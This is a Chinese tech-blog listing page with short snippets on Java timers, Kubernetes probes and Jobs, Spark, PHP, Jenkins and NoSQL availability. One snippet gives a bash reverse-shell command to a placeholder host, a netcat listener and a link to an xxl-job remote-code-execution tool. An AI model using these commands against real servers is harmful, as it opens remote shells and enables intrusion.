一个系统刚刚构建的时候,往往需要定时执行的任务,但没有,有人就推荐java的timerimportjava.util.Timer;importjava.util.TimerTask;publicclassTimerTestextendsTimerTask{privateStringjobName="";publicTimerTest(StringjobName){super();this.jobN
分类:
系统相关 时间:
2020-12-03 11:55:36
阅读次数:
6
bash -i >& /dev/tcp/ip/port 0>&1 服务器监听 nc -lvvp 9999 利用工具 https://github.com/mrknow001/xxl-job-rce bash反弹shell命令 https://www.cnblogs.com/supdon/p/1346 ...
存活探针Kubernetes提供了自愈的能力,具体就是能感知到容器崩溃,然后能够重启这个容器。但是有时候例如Java程序内存泄漏了,程序无法正常工作,但是JVM进程却是一直运行的,对于这种应用本身业务出了问题的情况,Kubernetes提供了LivenessProbe机制,通过检测容器响应是否正常来决定是否重启,这是一种很好的健康检查机制。毫无疑问,每个Pod最好都定义LivenessProbe,
分类:
其他好文 时间:
2020-11-27 11:21:10
阅读次数:
9
Job和CronJob是负责批量处理短暂的一次性任务(shortlivedone-offtasks),即仅执行一次的任务,它保证批处理任务的一个或多个Pod成功结束。Job:是Kubernetes用来控制批处理型任务的资源对象。批处理业务与长期伺服业务(Deployment、Statefulset)的主要区别是批处理业务的运行有头有尾,而长期伺服业务在用户不停止的情况下永远运行。Job管理的Pod
分类:
其他好文 时间:
2020-11-27 11:19:56
阅读次数:
8
最近经常有小伙伴留言,核心问题都比较类似,就是虽然接触Spark有一段时间了,但是搞不明白一个问题,为什么我从HDFS上加载不同的文件时,打印的分区数不一样,并且好像spark.default.parallelism这个参数时不是一直起作用?其实笔者之前的文章已有相关介绍,想知道为什么,就必须了解S... ...
分类:
其他好文 时间:
2020-11-23 12:25:04
阅读次数:
5
因为服务器里在跑一些老项目兼容问题很多,一直运行PHP7.0版本没有升级。在对接微信分时需要使用到AES-256-GCM加密需要调整PHP环境,决定先升级到PHP7.2,升级后发现openssl_sign()报错,排查后做下简单兼容调整说明。做三方对接时时常会出现问题,尤其是运行环境发生变化时。对于PHP环境主要分为:php版本、扩展库版本。如果出现兼容性问题则首先需要确认环境问题,避免走弯路。o
分类:
Web程序 时间:
2020-11-21 12:02:05
阅读次数:
15
写了jmeter脚本后使用jenkins来构建,使用ant来集成 1.服务器安装jenkins+jmeter+ant+jdk 并且配置环境变量 2.设置slave节点(运行job的节点) 配置目录地址(按照jenkins安装目录) 运行job数量(按照机器资源设置) 启动方式(通过agent.jar ...
分类:
其他好文 时间:
2020-11-20 11:35:17
阅读次数:
5
在jenkins持续集成工作中,有时需要使用到job的构建时间,那么,如何获取到job每次的构建时间呢? 在jenkins的内置环境变量中,没有job的构建时间变量,要获取job的构建时间,可以安装Build Timestamp Plugin并使用BUILD_TIMESTAMP变量,具体步骤如下: ...
分类:
其他好文 时间:
2020-11-17 12:57:27
阅读次数:
34
案例|S3、Cassandra、HDFS设计中隐藏的高可用法则Anythingthatcangowrongwillgowrong.会出错的事总会出错。——墨菲定律高可用NoSQL数据库是指服务无中断地持续运行的系统。许多基于网站的业务要求数据服务能够一直不中断。例如,在线购物的数据库需要保证7x24的可用性。为什么需要它们一直运行?假设你的数据库支撑着一个全球化的电子商务网站,那么数分钟的宕机就可
分类:
其他好文 时间:
2020-11-16 13:05:05
阅读次数:
5
一、用到的工具 Gitlab Jenkins Shell go test 二、实现原理 在gitlab上配置jenkins的webhook,当有代码变更时自动触发jenkins构建job,job内的shell脚本负责把覆盖率报告以钉钉群通知的方法发送出去。 三、Jenkins job配置 点击上图中 ...
分类:
其他好文 时间:
2020-11-13 12:14:17
阅读次数:
7